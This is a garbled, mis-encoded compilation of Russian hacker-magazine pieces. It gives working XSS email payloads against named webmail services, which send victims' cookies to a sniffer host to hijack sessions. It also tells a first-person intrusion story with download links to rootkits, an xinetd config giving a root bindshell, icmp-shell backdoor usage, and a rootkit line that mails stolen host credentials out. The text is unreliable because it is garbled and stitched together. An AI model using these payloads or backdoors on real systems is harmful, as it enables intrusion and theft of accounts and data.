Îòëè÷íî, òåïåðü ìû ìîæåì âûïîëíèòü ëþáîé ÿâàñêðèïò, åäèíñòâåí-
íîå îãðàíè÷åíèå � äëèíà òåìû â 80 ñèìâîëîâ. Íî ýòè ãðàíèöû ëåã-
êî ðàñøèðèòü, çàþçàâ êîíñòðóêöèþ âðîäå <script src="">. Òàê ÷òî íè÷-
òî íå ìåøàåò íàïèñàòü àäìèíó èëè êðîâíîìó âðàãó ñëåçíîå ñîîáùå-
íèå, êîòîðîå óâåäåò ó áåäîëàãè ñåññèþ, âûâåäåò ïÿòü ñîòåí îêîøåê
èëè çàëüåò åìó òðîÿíà ÷åðåç ïðèâàòíûé áàã. Âñå çàâèñèò îò öåëåé :).



ÒÛ ÓÆÅ ×ÓÂÑÒÂÓÅØÜ ÝÒÎÒ ÏÐÈßÒÍÛÉ,ÇÍÀÊÎÌÛÉ Ñ ÄÅÒÑÒÂÀ ÀÐÎÌÀÒ ÌÀÍÄÀ-ÐÈÍÎÂ, ÅËÎÂÛÕ ÂÅÒÎÊ, ÊÎÍÜßÊÀ, ÏÎÐÎ-ÕÀ ÈÇ ÏÅÒÀÐÄ, ÑÍÅÃÀ È ÑÀËÀÒÀ ÎËÈÂÜÅ.ÎÃËßÍÈÑÜ ÂÎÊÐÓÃ: ÌÈÐ ÌÅÍßÅÒÑß. ÁÅÑ-ÊÎÍÅ×ÍÛÅ Î×ÅÐÅÄÈ Â ÑÓÏÅÐÌÀÐÊÅÒÀÕ,ÏÐÎÁÊÈ ÏÎ ÂÑÅÌÓ ÃÎÐÎÄÓ, ÆÅÍÙÈÍ,ÇÀÃÐÓÆÅÍÍÛÕ ÑÓÌÊÀÌÈ, È ÌÓÆ×ÈÍ.ÝÒÎ ÂÑÅ ÍÅ ÏÐÎÑÒÎ ÒÀÊ, ÏÐÈßÒÅËÜ.
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[çåíîíîâñêèé ru.ru] Òû, êîíå÷íî æå, çíàåøü î òàêîé ïî÷òîâîé
ñëóæáå, êàê Ru.ru. Êàê òåáå èçâåñòíî, ýòîò ñåðâèñ ïîääåðæèâàåò ïðî-
âàéäåð Zenon, êîòîðûé íåêîãäà ñëàâèëñÿ ñòàáèëüíîñòüþ è êà÷åñòâîì
ñâîåé ðàáîòû. Îäíàêî îøèáêè åñòü âåçäå, è ïðîåêò çåíîíà � íå èñê-
ëþ÷åíèå. Ñåé÷àñ ÿ ðàññêàæó òåáå, êàê ÿ íàøåë áàã íà ýòîì ïî÷òîâèêå.
Çàðåãèñòðèðîâàâ íà ñåðâåðå ëåâûé ÿùèê, ÿ ïðèíÿëñÿ ýêñïåðèìåíòèðî-
âàòü. Çàðåãèë ñåáå ëîãèí è íà÷àë íàñèëîâàòü ñèñòåìó. Ïåðâûì äåëîì ÿ
ðåøèë ïîñëàòü íà çåíîíîâñêóþ ïî÷òó ïèñüìî ñ html-àòòà÷åì è âîò ÷òî èç
ýòîãî âûøëî. Îò íà÷àëüíîãî ñîäåðæèìîãî «<script>alert(/Xakep/)</script>»
îñòàëàñü òîëüêî ñîâñåì óæ áåçîáèäíàÿ ñòðîêà «alert(/XSS/)</script>».
Îäíàêî êîãäà ÿ ïîïðîáîâàë îòïðàâèòü html-ïèñüìî ñ íåñëîæíûì ñîäåð-
æèìûì <img src="http://àäðåñ.êàðòèíêè.ðó/êàðòèíêà.jpg">, òî âîñêëèêíóë
îò ðàäîñòè � êàðòèíêà ïðèøëà! Äàâíûì-äàâíî èçâåñòíî, ÷òî áðàóçåð IE
ìîæíî çàñòàâèòü âûïîëíèòü íåêîòîðûé êîä ïðè îòîáðàæåíèè êàðòèíêè
èëè ëþáîãî äðóãîãî html-ýëåìåíòà. Äëÿ ýòîãî äîñòàòî÷íî óêàçàòü ñïåöè-
àëüíûé ïàðàìåòð â ñòèëå ýòîãî ýëåìåíòà: <img src=http://àäðåñ.êàðòèí-
êè.ðó/êàðòèíêà.jpg style=background:url(javascript:alert(/XSS/))>. Òåïåðü
ìíå íå ñîñòàâèëî òðóäà íåìíîãî èçìåíèòü êîä, ÷òîáû ïîëó÷èòü äîñòóï ê
þçåðñêèì êóêèñàì:

<img src="http://àäðåñ.êàðòèíêè.ðó/êàðòèíêà.jpg" style=back-
ground:url(javascript: document.images[1].src="http://ñíèôåð.ru
/s.jpg?"+document.cookie)>

Êàê òîëüêî ÷åëîâåê ïðî÷èòàåò ýòî ïèñüìî, òû ïîëó÷èøü äîñòóï ê åãî êóêè-
ñàì è áåç ïðîáëåì ñìîæåøü ïîëó÷èòü äîñòóï ê ïåðåïèñêå ñâîåé æåðòâû.

[mail.rap.ru] Êðóòûå ïàöàíû è äåâ÷îíêè, êîòîðûå ñëóøàþò «÷èñòà
ìîäíûé ðýïàê» òåïåðü íå ñïÿò ñïîêîéíî: èõ ïî÷òà ïîä óãðîçîé. 
Íè÷åãî îñîáåííîãî â ýòîì áàãå íåò, îí êàê äâå êàïëè âîäû ïîõîæ íà
âñå ïðåäûäóùèå. Âîïðåêè îæèäàíèÿì ïðèìèòèâíûé êîä <img
src="javascript:alert(document.cookie)>" íå ïðîêàòèë, ïðîãðàììà êîå-
÷òî ôèëüòðîâàëà. Îäíàêî âûõîä áûë íàéäåí áûñòðî. ×òîáû ïîêà-
çàòü ïîëüçîâàòåëþ åãî êóêèñû, òðåáóåòñÿ îòïðàâèòü íà öåëåâîé 
e-mail html-ïèñüìî ñ òàêèì âîò ñîäåðæàíèåì: 

<img src="http://àäðåñ.êàðòèíêè.ðó/êàðòèíêà.jpg" style=back-
ground:url(javascript:alert(/XSS/))>

×òîáû óâåñòè åãî êóêèñû ïîäîéäåò ñëåäóþùèé êîä:

<img src='javascript:img = new Image(); img.src = "http://Ñíèôåð.ru
/s.jpg?"+document.cookie'; />

Èëè æå ìîæíî âîñïîëüçîâàòüñÿ ïðåäûäóùèì ïðèìåðîì:

<img src="http://àäðåñ.êàðòèíêè.ðó/êàðòèíêà.jpg" style=back-
ground:url(javascript: document.images[1].src="http://ñíèôåð.ru
/s.jpg?"+document.cookie)>

Åùå íåîáõîäèìî äîáàâèòü, ÷òî, ïîëó÷èâ äîñòóï ê ñåññèè, òû ìîæåøü
ëåãêî ïîëó÷èòü èñõîäíûé ïàðîëü: â íàñòðîéêàõ òû ìîæåøü ýëåìåíòàð-
íî ïîäñìîòðåòü îòâåò íà êîíòðîëüíûé âîïðîñ! Îñòàåòñÿ òîëüêî ïîçàâè-
äîâàòü íàèâíîñòè ïðîãðàììèñòîâ, çàùèòèâøèõ ñìåíó êîíòðîëüíîãî
âîïðîñà è óñòàíîâêó íîâîãî ïàðîëÿ ñòàðûì êëþ÷îì, îòêðûâøèì íà îáîç-
ðåíèå îòâåò íà ñåêðåòíûé âîïðîñ (ôàêòè÷åñêè òîò æå ñàìûé ïàðîëü) [X
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kill hacker

Â ÈÍÒÅÐÍÅÒÅ ÏÎËÍÛÌ-ÏÎËÍÎ ÐÀÇÍÎÎÁÐÀÇÍÛÕ ÑÅÐÂÅÐÎÂ,
ÊÎÒÎÐÛÅ ÄÅÍÜ È ÍÎ×Ü ÐÀÁÎÒÀÞÒ ÍÀ ÁËÀÃÎ ÏÎËÜÇÎÂÀÒÅ-
ËÅÉ CÅÒÈ. ÊÀÆÄÀß ÒÀÊÀß ÌÀØÈÍÀ ÍÀÕÎÄÈÒÑß ÍÀ ÏÎÏÅ×Å-
ÍÈÈ Ó ÑÅÒÅÂÎÃÎ ÃÓÐÓ � ÀÄÌÈÍÈÑÒÐÀÒÎÐÀ, ÊÎÒÎÐÛÉ ÑËÅ-
ÄÈÒ, ×ÒÎÁÛ WEB-ÑÅÐÂÅÐ ÐÀÁÎÒÀË ÑÒÀÁÈËÜÍÎ, MAIL-ÄÅÌÎÍ
ÔÈËÜÒÐÎÂÀË ÑÏÀÌ, MYSQL ÂÎÂÐÅÌß ÎÁÐÀÁÀÒÛÂÀËÀ ÊËÈÅÍ-
ÒÑÊÈÅ ÇÀÏÐÎÑÛ, À FTPD ÍÅ ÏÀÄÀË ÏÎÄ ÍÀÏÎÐÎÌ ÕÀÊÅÐÑ-
ÊÈÕ ÝÊÑÏËÎÉÒÎÂ. ÏÐÎÁËÅÌÀ Â ÒÎÌ, ×ÒÎ ÂÑÅ ÑËÅÄßÒ ÏÎ-
ÐÀÇÍÎÌÓ. ÍÅÄÀÂÍÎ ÂÎÒ ß ÍÀÒÊÍÓËÑß ÍÀ ÒÀ×ÊÓ, ÊÎÒÎÐÓÞ
ÓÆÅ ÊÒÎ-ÒÎ ÂÇËÎÌÀË ÄÎ ÌÅÍß :(. ÏÐÈØËÎÑÜ ÎÒÑÒÀÈÂÀÒÜ
ÑÎÁÑÒÂÅÍÍÛÅ ÈÍÒÅÐÅÑÛ È «ÂÛÏÅÐÅÒÜ» ÍÅÐÀÄÈÂÎÃÎ ÕÀÊÅ-
ÐÀ ÈÇ ÖÅÍÍÎÉ ÌÀØÈÍÛ | Àëåêñàíäð Ëþáèìîâ aka Sashiks (real_sshx@mail.ru)

[íåçàêîííîå âòîðæåíèå] Ýòà èñòîðèÿ íà÷àëàñü ñ òîãî, ÷òî ÿ óçíàë ðóòîâûé ïàññ
íà îäíîé ìàøèíå. Êàê íè ñòðàííî, íî â /etc/hosts áûëà ïðîïèñàíà åùå îäíà òà÷êà (åñ-
òåñòâåííî, èç ýòîé æå ñåòè), è ÿ ïîñïåøèë âëîìèòüñÿ òóäà ðóòîì ïî ssh. Êîíå÷íî æå,
íåíàñòðîåííûé sshd âïóñòèë ìåíÿ ñ íóëåâûì óèäîì. Cèñòåìêà, ñóäÿ ïî âñåìó, áûëà
web-ñåðâåðîì � íà âèíòå õðàíèëèñü ìíîæåñòâî þçåðñêèõ ñòðàíè÷åê è äàæå ñàéòû êà-
êèõ-òî ñîëèäíûõ, ñóäÿ ïî äèçàéíó, ôðàíöóçñêèõ ïðåäïðèÿòèé. Ìàøèíà, çàòî÷åííàÿ ïîä
web-ñåðâåð, áûëà ñêðîìíî íàäåëåíà 3 Ããö ïðîöåññîðîì, 120 Ãá âèíòîì è óéìîé îïå-
ðàòèâíîé ïàìÿòè. Êîðî÷å ãîâîðÿ, òà÷êà ïîïàëàñü íåõèëàÿ. Èìåÿ ðóòîâûé äîñòóï, ïðîò-
ðîÿíèòü ñåðâàê è ñäåëàòü ñâîå ïðåáûâàíèå íà ìàøèíå íå òàêèì çàìåòíûì íå ñîñòàâ-
ëÿëî îñîáîãî òðóäà. Ïðåäâàðèòåëüíî ïðîâåðèâ, ÷òî â Áàãäàäå âñå ñïîêîéíî (who, last
-10), ÿ ïðèñòóïèë ê àêòèâíûì äåéñòâèÿì. Â ïåðâóþ î÷åðåäü, íóæíî áûëî ñëèòü ïîäõî-
äÿùèé rootkit. Â ïàáëèêå ñåé÷àñ èõ äîâîëüíî ìíîãî, íî îñîáîé ïîïóëÿðíîñòüþ ïîëüçó-
þòñÿ èìåííî ýòè êîìïëåêòû:

* shv4 (http://svt.nukleon.us/tools/shv4.tar.gz)
* suckit (http://packetstormsecurity.nl/UNIX/penetration/rootkits/sk-1.3a.tar.gz)
* LKM adore (http://pro-hack.ru/download/rootkits/adore-0.42.tgz)

Õîòÿ, åñëè ãîâîðèòü îòêðîâåííî, òî ìîæíî áûëî èñïîëüçîâàòü è âñÿêèå tuxkit'û, Knark'è
è òàê äàëåå � ýòî äåëî èñêëþ÷èòåëüíî ëè÷íîå. Òåïåðü îñòàëîñü ñàìîå ñëîæíîå � 
ïåðåéòè â /tmp (èëè /var/tmp) è çàëèòü òóäà âðåäîíîñíûé àðõèâ. Åäâà ñäåëàâ ls -la
/var/tmp, ÿ íåìíîãî óäèâèëñÿ: â ïàïêå ëåæàëè ïàðà áèíàðíèêîâ è íåñêîëüêî ñîðöîâ. È
òóò äî ìåíÿ äîøëî, ÷òî ýòî îáû÷íûå ñïëîèòû äëÿ ñòàðûõ ÿäåð 2.4.X. Òðåâîæíàÿ ìûñëü
î òîì, ÷òî â ñèñòåìó ïðîíèê êàêîé-òî äðóãîé õàêåð, óæå íàøëà ïîäòâåðæäåíèå. Òåì áî-
ëåå ÷òî ôàéëû ïðèíàäëåæàëè nobody (ñòàíäàðòíûé þçåð, ïîä êîòîðûì apache çàãðó-
æàåòñÿ) è, ñóäÿ ïî äàòå, îíè áûëè ñîçäàíû ìèíóò ñîðîê íàçàä. Ñîâñåì íå ïàëåíîé îêà-
çàëàñü ïàïêà .mysql, â êîòîðîé îáíàðóæèëñÿ çàðàçîâñêèé ïðîêñè è ñêðèïò äëÿ ìàññ äå-
ôåéñèíãà íà PHP. Äî ñèõ ïîð, ïðàâäà, íå ïîíèìàþ, çà÷åì çàëèâàòü äåôåéñåð, åñëè ñî-
áèðàåøüñÿ þçàòü òà÷êó êàê proxy :). Òåðÿòü äîñòóï ê ýòîé ìàøèíå èç-çà òîãî, ÷òî êàêîé-
òî ëåâûé ÷åë ðåøèë ïðîñòî îò íå÷åãî äåëàòü ïîèìåòü ñîòíþ-äðóãóþ ñàéòîâ, ìíå íå
îñîáî õîòåëîñü. Ïîýòîìó ðåøåíî áûëî «âûïåðåòü» íàãëîãî îïïîíåíòà :). Ê ñîæàëåíèþ, 
ÿ íå ñðàçó îáðàòèë âíèìàíèå (uname -r), ÷òî ÿäðûøêî äîâîëüíî äðåâíåå è íå ïàò÷åí-
íîå, à ïîýòîìó õàêåðó, ñêîðåå âñåãî, óæå óäàëîñü ñòàòü ñóïåðïîëüçîâàòåëåì.
Çàáýêäîðèòü òà÷êó è îñòàâèòü äëÿ ñåáÿ äîñòóï õàêåð, íàâåðíîå, óæå óñïåë, è â ýòîò ðàç
ìíå ïðåäñòîÿëî âûòåñíèòü íàçâàííîãî ãîñòÿ ñ web-ñåðâåðà è íå äàòü èñïîãàíèòü åìó òó-
åâó õó÷ó ñàéòîâ è çàãðîáèòü äîñòóï ê òàêîìó ïåðñïåêòèâíîìó â ïëàíå ðåñóðñîâ êîìïó.

[âîëê â îâå÷üåì skin'å] Ñëîæèâøàÿñÿ ñèòóàöèÿ âûáîðà ìíå íå îñòàâëÿëà: íà íå-
êîòîðîå âðåìÿ ìíå ïðèäåòñÿ ñìåíèòü àìïëóà è «ïîðàáîòàòü» â êà÷åñòâå àäìèíà íà
áëàãî áåçîïàñíîñòè :). Èòàê, íà÷èíàåì ñîîáðàæàòü. Õàêåð, ïîëîìàâøèé ñèñòåìó, ìî-
æåò ïîéòè ðàçíûìè ïóòÿìè, è, ÷òîáû èìåòü ê íåé ïîñòîÿííûé äîñòóï, íå îáÿçàòåëüíî
óñòàíàâëèâàòü rootkit, âåäü ìîæíî ïðîñòî îáîéòèñü ïðèåìàìè, êîòîðûå ïðàêòèêîâà-
ëèñü ãîäàìè � ãëàâíîå, ÷òîáû áûëà ôàíòàçèÿ. Èìåííî ïîýòîìó ÿ ðåøèë îñòàâèòü ïî-
èñê ðóòêèòà êàê ñàìûé êðàéíèé âàðèàíò. Ïðèñòóïèì ê èçó÷åíèþ ñêîìïðîìåòèðîâàí-
íîé ñèñòåìû. Ìíîãèå íà÷èíàþùèå õàêåðû îñòàâëÿþò â ñèñòåìå îáû÷íûé áýêäîð
(bindshell, r0nin, bindtty) è çàïóñêàþò åãî çàñóèæåííûì èç-ïîä ðóòà. Êàê âàðèàíò ñîç-
äàåòñÿ ïðîñòîé Ñ-ôàéë, â êîòîðîì âûïîëíÿåòñÿ setuid(0) è setgid(0) è çàïóñêàåòñÿ êî-
ìàíäíûé èíòåðïðåòàòîð � system("/bin/sh"). Íà òàêîé áèíàðíèê ñòàâèòñÿ chmod +s,
ïîëó÷àåòñÿ, ÷òîáû òàêîå íåãîäÿéñòâî íàéòè, íàäî âûïîëíèòü find / -type f -perm -04000
-ls è ïðîàíàëèçèðîâàòü âûâîä íà íàëè÷èå ñòðàííûõ èëè ëåâûõ óòèëèò (âðîäå
"/sbin/root_me" :)). Ïðîäåëàâ âñå âûøåîïèñàííîå, ÿ áåãëî óáåäèëñÿ, ÷òî âñå â íîðìå.
À íå ìîã ëè õàêåð îñòàâèòü â ñèñòåìå òðîÿí, êîòîðûé ñâåòèò íàðóæó ïîðò? Òàêîé back-
door ìîæíî ñ ëåãêîñòüþ îáíàðóæèòü ñ ïîìîùüþ ïîðòñêàíåðà èëè netstat'à:

# netstat -an |grep LISTEN
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Ïðîíèêíîâåíèå â çàõâà÷åííóþ ñèñòåìó 
è óñòðàíåíèå õàêåðà-êîíêóðåíòà

Îõîòà ííà õõàêåðà

Íåáîëüøîé àðõèâ ðóòêèòîâ
ñ êðàòêèì îïèñàíèåì 
ìîæíî íàéòè òóò: 
http://download.
pro-hack.ru/s_rootkits.html 

BACKDOOR ××ÅÐÅÇ XXINETD
Ê ñîæàëåíèþ, êàê è âñå â ýòîì ìèðå,
xinetd õàêåðû ìîãóò èñïîëüçîâàòü â ñâîèõ
ãðÿçíûõ öåëÿõ, ÷òîáû áåç ïðîáëåì êîí-
íåêòèòüñÿ íà ìàøèíó. Ýòî âûãëÿäèò ñëå-
äóþùèì îáðàçîì. Âçëîìùèê âûáèðàåò
íàçâàíèå ëþáîé íåèñïîëüçóåìîé ñëóæáû
èç /etc/services. Â ýòîì ôàéëå óñòàíîâëå-
íû ñîîòâåòñòâèÿ ìåæäó èìåíàìè è íîìå-
ðàìè ïîðòîâ äëÿ ñåðâèñîâ. Äàëåå, â
/etc/xinetd.d ñîçäàåòñÿ ôàéë ñ èìåíåì
âûáðàííîé ñëóæáû. 
Â êà÷åñòâå òàêîãî ñåðâèñà ìîæíî âûá-
ðàòü irc, âèñÿùèé íà 194/tcp ïîðòó, �- 
íå ïóòàé åãî ñ ircd. Â /etc/xinetd.d/irc âíî-
ñÿòñÿ ñëåäóþùèå çàïèñè:

Íà íàøåì äèñêå òû íàéäåøü
ïîëíûå âåðñèè ïðîãðàìì,
îïèñàííûõ â ýòîé ñòàòüå.

chkvootkit:
www.chkrootkit.org
rkhunter:
www.rootkit.nl
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ÑÊÐÛÒÀß ÓÓÃÐÎÇÀ
ICMP-SSHELL � ðóëüíàÿ óòèëèòà, íàïèñàííàÿ Ïèòåðîì Êèåëòó-
êà (http://icmpshell.sourceforge.net). Îíà, ïî ñóòè, ÿâëÿåòñÿ äî-
âîëüíî îðèãèíàëüíûì áýêäîðîì. Ïðèíöèï ðàáîòû icmp-shell'a
ñîñòîèò â òîì, ÷òî çàïðîñû ñ êîìàíäàìè, êîòîðûå ïîñûëàåò
õàêåð ñî ñâîåé ìàøèíû, èíêàïñóëèðóþòñÿ â ICMP-ïàêåòû è
ïåðåäàþòñÿ óäàëåííîé öåëåâîé ìàøèíå. Âîîáùå, ïðîãðàììà
ñîñòîèò èç äâóõ ÷àñòåé: êëèåíòà è ñåðâåðà. Êàê òû, íàâåðíîå,
äîãàäàëñÿ, ñåðâåð çàïóñêàåòñÿ íà ïîõàêàííîì õîñòå, à êëèåí-
òñêàÿ ÷àñòü � íà ìàøèíå âçëîìùèêà. Ñëåäóåò ïîíèìàòü, ÷òî
îáå ÷àñòè ïðîãðàììû îáðàùàþòñÿ ê òàê íàçûâàåì ñûðûì ñî-
êåòàì (raw sockets), à ïîýòîìó äëÿ çàïóñêà íóæíû àáñîëþòíûå
ïðèâèëåãèè. Òåïåðü, ñ òâîåãî ïîçâîëåíèÿ, ÿ ðàññêàæó îá ýòîé
ñàìîé èíêàïñóëÿöèè. 
Ïðè çàïóñêå ishd (ñåðâåðíîé ÷àñòè), åìó íóæíî ïåðåäàòü ïàðà-
ìåòð -i (èäåíòèôèêàòîð ñåññèè), ýòî äåëàåòñÿ äëÿ òîãî, ÷òîáû

ìîæíî áûëî îñóùåñòâëÿòü íåñêîëüêî ïîäêëþ÷åíèé ê ìàøèíå.
Äàëåå, ñ ïîìîùüþ ïàðàìåòðà -t, ìîæíî óêàçàòü òèï ïàêåòà
ICMP, â êîòîðûå áóäóò èíêàïñóëèðîâàíû êîìàíäû êëèåíòñêîé
÷àñòè ïðèëîæåíèÿ. Íàïðèìåð, 8 ýêâèâàëåíòíî ýõî-çàïðîñó,
óâåäîìëåíèå î íåäîñòèæèìîñòè ïðÿ÷åòñÿ çà òðîéêîé. 
Ïî óìîë÷àíèþ èñïîëüçóåòñÿ ýõî-îòâåò (0). Òàêèì îáðàçîì, 
òû äîëæåí çàïóñêàòü êëèåíò (ish) òî÷íî ñ òàêèìè æå ïàðàìåò-
ðàìè, êàê è ñåðâåðíóþ ÷àñòü. Òåïåðü âñå òâîè êîìàíäû áóäóò
èíêàïñóëèðîâàíû â ICMP-ïàêåòû è äîñòàâëåíû íà ìàøèíó,
ãäå ishd áóäåò îáðàáàòûâàòü èõ è ñîçäàâàòü ðàáî÷èé ïàéï 
ê øåëëó (/bin/sh), çàòåì âûïîëíÿòü êîìàíäó è îòïðàâëÿòü
äàííûå èç ïàéïà îáðàòíî íà òâîþ ìàøèíó. Ïðè÷åì ñòîèò îò-
ìåòèòü, ÷òî èíòåðàêòèâíûå ïðîãðàììû ìîãóò íåêîððåêòíî 
ðàáîòàòü ñ icmp-shell'îì. Ñîôòèíà ìíå î÷åíü ïîíðàâèëàñü �
îíà íåçàìåäëèòåëüíî îòïðàâèëàñü â ìîé àðñåíàë. Êòî çíàåò,
ìîæåò, åé ïîñ÷àñòëèâèòñÿ ïîïàñòü è â òâîé? :)
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Íè÷åãî ëèøíåãî, êàê êàçàëîñü, çäåñü òîæå
íå áûëî � òîëüêî ñòàíäàðòíûå ñëóæáû.
À âîò â âûâîäå ps -aux ñðåäè ïðî÷åãî ìóñî-
ðà ÿ óâèäåë ïðîöåññ äåìîíà xinetd (ÿ íå
÷àñòî âèäåë, ÷òîáû åãî ïðèìåíÿëè). Òû, íà-
âåðíîå, ïðî íåãî ñëûøàë è çíàåøü, ÷òî
xinetd (Extended Internet Daemon) � óëó÷-
øåííàÿ âåðñèÿ ñóïåðñåðâåðà inetd. Åãî çà-
äà÷à çàêëþ÷àåòñÿ â ïðîñëóøèâàíèè ïîð-
òîâ äëÿ ñëóæá, óêàçàííûõ â êîíôèãå. Âìåñ-
òî òîãî ÷òîáû çàïóñêàòü êó÷ó âñÿêèõ telnetd
è sshd, ìû ïðîñòî àêòèâèçèðóåì xinetd è îí
ñàì îïðåäåëèò, íà êàêóþ ñëóæáó ê íàì õî-
òÿò ïîäöåïèòüñÿ è ÷òî çàïóñêàòü � ftp èëè
telnet ñåàíñ. Âñå ñëóæáû, ïðåäîñòàâëÿå-
ìûå xinetd, âàëÿþòñÿ â ïàïêå /etc/xinetd.d.
Íàïðèìåð, â /etc/xinetd.d/ftp ëåæèò êîíôèã,
îïèñûâàþùèé ïàðàìåòðû çàïóñêà ftpd.
ß ïðèíÿëñÿ òùàòåëüíî èçó÷àòü êîíôèãè
ñåðâèñîâ, êîòîðûå ïðåäîñòàâëÿë ñóïåð-
ñåðâåð. Ïðèäðàòüñÿ, ìÿãêî ãîâîðÿ, áûëî
íå ê ÷åìó, äà è äàòû íà ôàéëàõ ñòîÿëè
ìåñÿ÷íîé äàâíîñòè (õîòÿ èõ òîæå ìîæíî
áûëî ñìåíèòü  êîìàíäîé touch). Äðóãèìè
ñëîâàìè, ìàëîâåðîÿòíî, ÷òî íàðóøèòåëü
èñïîëüçîâàë äëÿ óäàëåííîãî äîñòóïà
èìåííî xinetd. Çíà÷èò, íåìíîãî èçìåíèì
íàïðàâëåíèå ïîèñêà.

ÎÕÎÒÍÈÊ ÑÑ ÃÃÀÍÎÌ
Rootkithunter � äåéñòâèòåëüíî êðóòàÿ òóëçà ñ íåõèëûì íàáî-
ðîì âîçìîæíîñòåé, è ýòî ïðè òîì, ÷òî íàïèñàíà îíà ïîë-
íîñòüþ íà ñêðèïòîâîì ÿçûêå! Êàê ñêàçàíî íà ñàéòå ðàçðàáîò-
÷èêà (www.rootkit.nl/about), ñîôòèíà ñîâìåñòèìà ñî âñåìè
UNIX-like îïåðàöèîíêàìè è çàâèñèìîñòè îò óñòàíîâëåííîãî
ÏÎ ó íåå îòñóòñòâóþò. Èòàê, êàê òû ïîíÿë, îñíîâíàÿ çàäà÷à
rkhunter'à çàêëþ÷àåòñÿ â ïðîâåðêå òâîåé ñèñòåìû íà íàëè÷èå
ðàçíîãî ðîäà êèòîâ è áýêäîðîâ. Ïðîãà ïðîâåðÿåò ïðàâà íà áè-
íàðíèêàõ, èùåò ïîäîçðèòåëüíûå ìîäóëè (LKM) è ñðàâíèâàåò
÷åêñóììû ñèñòåìíûõ ïðèëîæåíèé. Îíà óñïåøíî îáíàðóæèâà-
åò Knark, Suckit, SHV4(5), FreeBSD Rootkit è ìíîãèå äðóãèå
âðåäîíîñíûå ïðîãðàììû. Êàê çàÿâëÿåò àâòîð, ðóòêèòõàíòåð ñ
99.9% âåðîÿòíîñòüþ ìîæåò îïðåäåëèòü, çàðàæåíà ëè ìàøè-
íà. Î÷åíü ïîëåçíàÿ, íà ìîé âçãëÿä, óòèëèòà, êîòîðàÿ äîëæíà
áûòü íà çàìåòêå ó êàæäîãî àäìèíèñòðàòîðà. Åñòü åùå è àíà-
ëîãè÷íîãî ðîäà ïðîãðàììà � chkrootkit, êîòîðûé ïî ïðèíöèïó
ðàáîòû î÷åíü ñõîæ íà õàíòåð. Ðåêîìåíäóþ ïîòåñòèòü íà ñâî-
åé ïëîùàäêå � âäðóã ê òåáå íåçàìåòíî çàïîëç êàêîé-íèáóäü
õýêêåð è êà÷àåò òîííàìè âàðåç ñ òâîåãî ñåðâåðà.

ÇÀÒÐÎßÍÅÍÍÛÉ ÒÒÐÎßÍ
Íè äëÿ êîãî íå ñåêðåò, ÷òî ðóòêèòû shv îáîèõ âåðñèé 4 è 5
î÷åíü ïîïóëÿðíû, è þçàåò èõ ïðèëè÷íî íàðîäó. Ïîýòîìó
ïðî òî, ÷òî â ðóòêèòå ïðèñóòñòâóåò êîä, êîòîðûé îòñûëàåò
ñåêðåòíûå äàííûå èç ñèñòåìû, ñåé÷àñ çíàþò ïî÷òè âñå.
Äàâàé ðàññìîòðèì ïîâíèìàòåëüíåå shell ñêðèïò ýòîãî ðóò-
êèòà, êîòîðûé îòâå÷àåò çà åãî óñòàíîâêó â ñèñòåìó �
setup. Îòêðûâ åãî ëþáûì òåêñòîâûì ðåäàêòîðîì, òû ÷åðåç
íåñêîëüêî äíåé èçó÷åíèÿ (èëè åñëè ââåäåøü find -> mail)
îáÿçàòåëüíî íàéäåøü òàêóþ ñòðî÷êó:

echo "$1:$2:`hostname -f`:$MYIPADDR" | mail $md5sum

Íå íàõîäèøü â íåé íè÷åãî ïîäîçðèòåëüíîãî? Ïåðåìåííûå
$1 è $2 � ýòî ïàðîëü è ïîðò, êîòîðûå òû óêàçàë ïðè óñòà-
íîâêå êèòà. Îòêóäà áåðåòñÿ ïåðåìåííàÿ $MYIPADDR è ÷òî
îíà îçíà÷àåò, ÿ äóìàþ, îáúÿñíÿòü íå íóæíî. À âîò ñ
$md5sum âñå íàìíîãî èíòåðåñíåå. Âîîáùå-òî, åñëè èñ-
êàòü â êîäå ÷åìó ðàâíà $md5sum, òî íàòûêàåøüñÿ ëèøü
íà ïðîöåäóðû ìàíèïóëÿöèé ñ /usr/bin/md5sum (óòèëèòêà
äëÿ ðàáîòû ñ ÷åêñóììîé). Íî â êîíöå êîíöîâ ïåðåìåííîé
ïðèñâàèâàåòñÿ çíà÷åíèå ìûëà íåõîðîøåãî äÿäüêè:
md5sum=l1_nux@yahoo.com

Âîò êàê ðàç åìó è óïëûâàåò èíôà î ñèñòåìå (â êîäå åùå ìîæíî
âñòðåòèòü àíàëîãè÷íóþ îòñûëêó, íî òîëüêî óæå äëÿ uname -a è id).
Íî èíòåðåñíî äàæå íå ýòî. Ëþáîïûòíî òî, ÷òî, êîãäà ýòîò ðóòêèò
ïåðåäàåòñÿ èç ðóê â ðóêè, àäðåñîê, íà êîòîðûé âûñûëàåòñÿ ïàðîëü
íà äîñòóï ê ìàøèíå, ìåíÿåòñÿ. Êàæäûé íîðîâèò âïèñàòü â setup
ñâîå ìûëî, ÷òîáû åãî êàæäûé äåíü ñïàìèëè äîñòóïîì ê íîâûì ïî-
õàêàííûì ñèñòåìàì :). ×üè ÿ òîëüêî ìûëà òàì íå âèäåë! È ê ÷åìó 
ÿ ýòî âñå ñêàçàë? À òî, ÷òî íóæíî ñòàðàòüñÿ èçó÷èòü õîòÿ áû ïî äè-
àãîíàëè âñå íåçíàêîìîå, ÷òî ïîïàëî ê òåáå â ðóêè. Ê ñîæàëåíèþ,
îáìàíóòü ìîæåò êòî óãîäíî � äàæå ÷óâàê, ñ êîòîðûì äàâíî çíà-
êîì. Ïîýòîìó, äðóæèùå, êàê ãîâîðèòüñÿ, äîâåðÿé, íî ïðîâåðÿé! :)

ÏÐÈÌÅÐ ÕÕÀÊÅÐÑÊÎÃÎ ÊÊÎÍÔÈÃÀ
service irc 
# ïîñëå êëþ÷åâîãî ñëîâà service èäåò íàçâàíèå ñëóæáû
{
port = irc
# ïîðò êàêîé ñëóæáû èñïîëüçîâàòü � ñìîòðè â /etc/services
socket_type = stream
# òèï ñîåäèíÿþùåãî ñîêåòà 
wait = no 
# æäåì ? -íåò !
user = root
# ïîëüçîâàòåëü âëàäåëåö ñåðâåðà 
server = /usr/local/bni/bash
# èìÿ ôàéëà, êîòîðûé âûñòóïàåò â ðîëè ñåðâåðà, � óíèâåðñàëüíûé 
âàðèàíò "/bin/sh"
server_args = -i
# àðãóìåíòû ê áèíàðíèêó � ó íàñ "/bin/sh -i"
disable = no 
}

Âîò òàê âîò âçëîìùèêè ïðîíèêàþò â ñèñòåìó ïðè ïîìîùè
xinetd. Òàêèì æå îáðàçîì ìîæíî ñäåëàòü áýêäîð ïîä ó÷åòíîé
